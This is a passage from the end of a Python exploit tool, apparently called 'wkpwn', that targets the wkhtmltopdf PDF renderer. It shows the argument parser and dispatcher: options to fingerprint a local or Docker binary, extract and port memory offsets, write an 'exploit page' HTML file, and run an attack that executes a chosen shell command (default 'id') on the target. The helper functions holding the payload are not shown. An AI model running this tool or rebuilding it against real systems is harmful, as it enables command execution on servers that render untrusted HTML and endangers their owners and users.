        fingerprint(mode, target, binary, verdict="fp"); return
    if choice == "4":
        mode, target, binary = _ask_target("extract")
        print(); extract(mode, target, binary); return
    presets = {str(i + 5): PRESETS[i] for i in range(len(PRESETS))}
    if choice in presets:
        lbl, mode, target, binary, _tech = presets[choice]
        cmd, n = _ask_cmd_count(); print(); attack(mode, target, binary, cmd, n); return
    sys.exit("  (nothing selected)")

def main():
    ap = argparse.ArgumentParser(add_help=False)
    ap.add_argument("target", nargs="?")
    ap.add_argument("-b", "--binary", default="wkhtmltopdf")
    ap.add_argument("-c", "--cmd", default="id")
    ap.add_argument("-n", "--count", type=int, default=5)
    ap.add_argument("--local", metavar="PATH")
    ap.add_argument("--fp", action="store_true")
    ap.add_argument("--extract", metavar="TARGET")
    ap.add_argument("--port", metavar="BIN")
    ap.add_argument("--ref-bin", metavar="PDF")
    ap.add_argument("--ref-off", metavar="STR")
    ap.add_argument("--emit", nargs="?", const="wkpwn_exploit.html", metavar="PATH")
    ap.add_argument("-l", "--list", action="store_true")
    ap.add_argument("-h", "--help", action="store_true")
    a = ap.parse_args()
    if a.help:  print(__doc__); return
    if a.list:  list_presets(); return
    if a.emit is not None:
        open(a.emit, "w").write(_html())
        print("wrote exploit page -> %s  (%d bytes, %d built-in rows + %d extra)"
              % (a.emit, os.path.getsize(a.emit), len(KNOWN), len(_extra_fpwk()))); return
    if a.port:
        port(a.port, a.ref_bin, a.ref_off); return
    if a.extract:
        if os.path.exists(a.extract): extract("local", a.extract, os.path.basename(a.extract))
        else:                         extract("docker", a.extract, a.binary)
        return
    if not a.target and not a.local:
        interactive(); return
    if a.local: mode, target, binary = "local", a.local, os.path.basename(a.local)
    else:       mode, target, binary = "docker", a.target, a.binary
    if a.fp:
        print("== fingerprinting: %s%s (%s) ==" % ("local " if mode == "local" else "", target, binary))
        fingerprint(mode, target, binary, verdict="fp")
    else:
        attack(mode, target, binary, a.cmd, a.count)

if __name__ == "__main__":
    try: main()
    except KeyboardInterrupt: print("\n(aborted)")
    finally:
        if _WORK and os.path.isdir(_WORK): shutil.rmtree(_WORK, ignore_errors=True)
        try: os.remove("/tmp/.wkstage")
        except OSError: pass
